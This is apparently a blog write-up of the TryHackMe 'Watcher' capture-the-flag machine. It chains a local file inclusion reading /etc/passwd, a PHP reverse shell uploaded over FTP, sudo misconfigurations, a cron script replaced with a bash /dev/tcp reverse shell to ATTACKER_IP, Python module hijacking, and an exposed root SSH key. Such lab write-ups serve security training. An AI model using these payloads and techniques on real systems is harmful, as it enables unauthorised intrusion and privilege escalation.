Complete Walkthrough: Watcher CTF (TryHackMe)

This walkthrough explains the full compromise chain of a vulnerable Linux machine containing 7 flags.
The attack path moves through several classic vulnerabilities commonly seen in CTF environments:

1. Web vulnerability (LFI → RCE)
2. Reverse shell and stabilization
3. Misconfigured sudo privilege escalation
4. Cron job abuse
5. Python module hijacking

The goal is to escalate through multiple users:

www-data → toby → mat → will → root

1. Initial Enumeration

After scanning the target with nmap, three services were discovered:

FTP  → 21
SSH  → 22
HTTP → 80

The web application exposed a vulnerable endpoint:

post.php?post=

Testing revealed a Local File Inclusion (LFI) vulnerability.

Example test:

http://TARGET/post.php?post=../../../../etc/passwd

Successful output confirmed that arbitrary local files could be included.

2. Turning LFI into Remote Command Execution

First i tried log poisoning method, nothing seemed to be injectable, then i thought of ftp since in the previous task we were given this hint :

Files are saved to /ftp/files directory , which suggests it might be a good target to upload a shell.

I tried to upload a php reverse shell and it worked :

FTP access allowed uploading files.

A simple PHP reverse shell was created:

https://github.com/pentestmonkey/php-reverse-shell/blob/master/php-reverse-shell.php

Uploaded using FTP:

put shell.php

The shell was then executed through the LFI endpoint:

http://target'IP'/post.php?post=/home/ftpuser/ftp/files/shell.php

Output confirmed RCE as www-data.

4. Privilege Escalation: www-data → toby

Checking sudo permissions revealed a major misconfiguration:

sudo -l

Output:

User www-data may run the following commands:
(toby) NOPASSWD: ALL

This allowed immediate escalation using this command.

sudo -u toby /bin/bash

Verification:

whoami

Result:

toby

5. Privilege Escalation: toby → mat (Cron Job Abuse)

Enumeration revealed a cron job:

*/1 * * * * mat /home/toby/jobs/cow.sh

Script contents:

#!/bin/bash
cp /home/mat/cow.jpg /tmp/cow.jpg

The script was located in a directory owned by toby, meaning it could be modified.

Get LZR_404’s stories in your inbox

Join Medium for free to get updates from this writer.

Remember me for faster sign in

The script was replaced with a reverse shell payload:

#!/bin/bash
bash -i >& /dev/tcp/ATTACKER_IP/4445 0>&1

Listener started:

nc -lvnp 4445

Within a minute, cron executed the script and returned a shell as:

6. Privilege Escalation: mat → will (Python Module Hijacking)

In /home/mat/scripts/, two files were found:

cmd.py
will_script.py

will_script.py:

import os
import sys
from cmd import get_command

cmd = get_command(sys.argv[1])
whitelist = ["ls -lah", "id", "cat /etc/passwd"]
if cmd not in whitelist:
        print("Invalid command!")
        exit()
os.system(cmd)

A note revealed that mat could run the script as will using sudo.

sudo -l

Output:

(will) NOPASSWD: /usr/bin/python3 /home/mat/scripts/will_script.py *

The script imports:

from cmd import get_command

Since Python searches the current directory first, this allows module hijacking.

cmd.py was replaced with:

import os
def get_command(num):
    os.system("/bin/bash")

Running the script:

sudo -u will /usr/bin/python3 /home/mat/scripts/will_script.py 1

This spawned a shell as will:

7. Privilege Escalation: will → root (SSH Key Exposure)

While enumerating /opt directory, the following was found:

/opt/backups/key.b64

This strongly suggested root ssh key encoded to base64 :

Decoding the key, it gives us the original root ssh key:

Save the file locally :

nano id_rsa >> past the key .
give permission : chmod 600 id_rsa 

Spawn root shell: :

ssh -i id_rsa root@'TARGET_IP'

9. Final Flag

The final flag was retrieved from:

cat /root/flag_7.txt

Attack Chain Summary

LFI → Web Shell → Reverse Shell
        ↓
www-data → sudo misconfiguration → toby
        ↓
toby → cron job modification → mat
        ↓
mat → python module hijack → will
        ↓
will → SSH Key Exposure → root

Lessons Learned

This machine demonstrates several real-world security issues:

• Local File Inclusion leading to RCE
• Dangerous sudo misconfigurations
• Cron jobs executing user-controlled scripts
• Python module hijacking vulnerabilities
• SSH Keys Exposure

Finally, thanks for reading and happy hacking .

wrote by Lazzaro_404 .